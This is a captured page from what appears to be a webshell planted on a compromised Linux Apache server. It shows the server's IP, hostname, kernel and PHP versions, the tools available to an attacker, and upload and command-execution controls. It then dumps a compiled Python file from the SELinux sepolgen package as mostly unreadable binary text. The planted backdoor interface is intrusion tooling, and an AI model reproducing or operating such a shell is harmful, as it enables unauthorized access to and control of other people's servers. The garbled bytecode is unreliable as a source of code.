403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/sepolgen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/sepolgen/module.pyc
Ñò
†·Jc@s®dZddkZddkZddkZddkZddkZddkZddkZddkZddk	Z	d„Z
dd	d„ƒYZd„Zdd
d„ƒYZ
dS(sU
Utilities for dealing with the compilation of modules and creation
of module tress.
iÿÿÿÿNcCs2tid|ƒ}t|ƒdjotStSdS(s'Check that a module name is valid.
    s[^a-zA-Z0-9]iN(tretfindalltlentTruetFalse(tmodnametm((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyt
is_valid_name%st
ModuleTreecBsSeZd„Zd„Zd„Zd„Zd„Zd„Zd„Zdd„Z
RS(	cCs||_d|_dS(N(RtNonetdirname(tselfR((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyt__init__/s	cCs|iS(N(R
(R((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytdir_name3scCs|id|idS(Nt/s.te(R
R(R((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytte_name6scCs|id|idS(NRs.fc(R
R(R((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytfc_name9scCs|id|idS(NRs.if(R
R(R((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytif_name<scCs|id|idS(NRs.pp(R
R(R((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytpackage_name?scCs|idS(Ns	/Makefile(R
(R((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyt
makefile_nameBscCsÅ|d|i|_ti|iƒt|iƒdƒ}|o|id|ƒn|idtiƒƒ|i	ƒt|i
ƒdƒi	ƒt|iƒdƒi	ƒt|iƒdƒi	ƒdS(NRtwsinclude (
RR
tostmkdirtopenRtwritetdefaultstrefpolicy_makefiletcloseRRR(Rtparent_dirnametmakefile_includetfd((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytcreateEs
N(t__name__t
__module__RR
RRRRRR	R(((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyR.s							cCs$tiitii|ƒdƒdS(Nii(Rtpathtsplitexttsplit(t
sourcename((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytmodname_from_sourcenameUstModuleCompilercBs\eZdZd	d„Zd„Zd„Zd„Zed„Z	d„Z
d„Zd„ZRS(
stModuleCompiler eases running of the module compiler.

    The ModuleCompiler class encapsulates running the commandline
    module compiler (checkmodule) and module packager (semodule_package).
    You are likely interested in the create_module_package method.
    
    Several options are controlled via paramaters (only effects the 
    non-refpol builds):
    
     .mls          [boolean] Generate an MLS module (by passed -M to
                   checkmodule). True to generate an MLS module, false
                   otherwise.
                   
     .module       [boolean] Generate a module instead of a base module.
                   True to generate a module, false to generate a base.
                   
     .checkmodule  [string] Fully qualified path to the module compiler.
                   Default is /usr/bin/checkmodule.
                   
     .semodule_package [string] Fully qualified path to the module
                   packager. Defaults to /usr/bin/semodule_package.
     .output       [file object] File object used to write verbose
                   output of the compililation and packaging process.
    cCsRtiƒ|_t|_d|_d|_||_d|_d|_	d|_
dS(s‡Create a ModuleCompiler instance, optionally with an
        output file object for verbose output of the compilation process.
        s/usr/bin/checkmodules/usr/bin/semodule_packagets!/usr/share/selinux/devel/Makefiles
/usr/bin/makeN(tselinuxtis_selinux_mls_enabledtmlsRtmoduletcheckmoduletsemodule_packagetoutputtlast_outputtrefpol_makefiletmake(RR/((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyRqs						cCs/|io|ii|dƒn||_dS(Ns
(R/RR0(Rtstr((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyto~s
cCs3|i|ƒti|ƒ\}}|i|ƒ|S(N(R4tcommandstgetstatusoutput(RtcommandtrcR/((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytrunƒs

cCsi|idƒ}t|ƒdjotd|ƒ‚ndi|dd!ƒ}|d}|d}||fS(sþGenerate the module and policy package filenames from
        a source file name. The source file must be in the form
        of "foo.te". This will generate "foo.mod" and "foo.pp".
        
        Returns a tuple with (modname, policypackage).
        t.is,invalid sourcefile name %s (must end in .te)iiÿÿÿÿs.mods.pp(R$RtRuntimeErrortjoin(RR%t	splitnametbasenameRtpackagename((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyt
gen_filenamesŠs

cCs^|o|i|ƒnC|i|ƒ\}}|i||ƒ|i||ƒti|ƒdS(sŒCreate a module package saved in a packagename from a
        sourcename.

        The create_module_package creates a module package saved in a
        file named sourcename (.pp is the standard extension) from a
        source file (.te is the standard extension). The source file
        should contain SELinux policy statements appropriate for a
        base or non-base module (depending on the setting of .module).

        Only file names are accepted, not open file objects or
        descriptors because the command line SELinux tools are used.

        On error a RuntimeError will be raised with a descriptive
        error message.
        N(trefpol_buildR@tcompiletpackageRtunlink(RR%t	refpolicyRR?((s3/usr/lib/python2.6/site-packages/sepolgen/module.pytcreate_module_package›scCsK|id|i}|i|ƒ}|djotd|iƒ‚ndS(Ns -f iscompilation failed:
%s(R2R1R9R;R0(RR%R7R8((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyRA³s
cCs©|ig}|io|idƒn|io|idƒn|idƒ|i|ƒ|i|ƒ|idi|ƒƒ}|djotd|iƒ‚ndS(Ns-Ms-ms-ot iscompilation failed:
%s(R-R+tappendR,R9R<R;R0(RR%RtsR8((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyRB¼s





cCs€|ig}|idƒ|i|ƒ|idƒ|i|ƒ|idi|ƒƒ}|djotd|iƒ‚ndS(Ns-os-mRGispackaging failed [%s](R.RHR9R<R;R0(RRR?RIR8((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyRCÊs




N(
R R!t__doc__R	RR4R9R@RRFRARBRC(((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyR'Xs
						(((RJRR)RttempfileR5Rtos.patht
subprocesstshutilRRR&R'(((s3/usr/lib/python2.6/site-packages/sepolgen/module.pyt<module>s		'	

Youez - 2016 - github.com/yon3zu
LinuXploit